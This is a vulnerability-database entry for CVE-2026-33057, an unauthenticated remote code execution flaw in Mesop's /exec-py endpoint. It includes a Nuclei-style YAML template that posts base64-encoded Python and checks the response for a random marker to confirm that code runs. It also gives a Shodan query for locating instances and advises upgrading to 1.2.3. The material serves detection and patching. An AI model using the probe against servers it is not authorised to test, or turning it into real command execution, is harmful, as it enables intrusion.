/Vulnerability Library

Mesop AI Sandbox <= 1.2.2 - Remote Code Execution

CVE-2026-33057
Verified

Description

Mesop <= 1.2.2 contains an unrestricted remote code execution caused by unauthenticated ingestion and execution of base64-encoded Python code in the /exec-py endpoint of ai/testing module, letting attackers execute arbitrary commands on the host, exploit requires HTTP access to the server.

Severity

Critical

CVSS Score

9.8

Exploit Probability

12%

Affected Product

mesop

Published Date

April 26, 2026

Template Author

sammiee5311, liyander

CVE-2026-33057.yaml
id: CVE-2026-33057

info:
  name: Mesop AI Sandbox <= 1.2.2 - Remote Code Execution
  author: sammiee5311,liyander
  severity: critical
  description: |
    Mesop <= 1.2.2 contains an unrestricted remote code execution caused by unauthenticated ingestion and execution of base64-encoded Python code in the /exec-py endpoint of ai/testing module, letting attackers execute arbitrary commands on the host, exploit requires HTTP access to the server.
  impact: |
    Attackers can execute arbitrary commands on the host, leading to full system compromise.
  remediation: |
    Upgrade to version 1.2.3 or later.
  reference:
    - https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33057
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-33057
    epss-score: 0.1243
    epss-percentile: 0.93995
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: mesop-dev
    product: mesop
    shodan-query: html:"Mesop"
  tags: cve,cve2026,mesop,rce,oss

variables:
  marker: "{{rand_base(16)}}"
  payload: '{{replace(replace(base64(concat("raise Exception(\"", marker, "\")")), "+", "-"), "/", "_")}}'

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<title>Mesop")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /exec-py HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        code={{payload}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 500
# digest: 4b0a004830460221009e9482219615ed2c09be28ebedf582e259f68ee2cb38484ad7c6f56cc0a90148022100a040cc5a681e4795c971978d5dab4796bc8cbe7275c8b91cda93d01ec921e41b:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-33057
CWE ID:
cwe-94

References

https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6vhttps://nvd.nist.gov/vuln/detail/CVE-2026-33057

Remediation Steps

Upgrade to version 1.2.3 or later.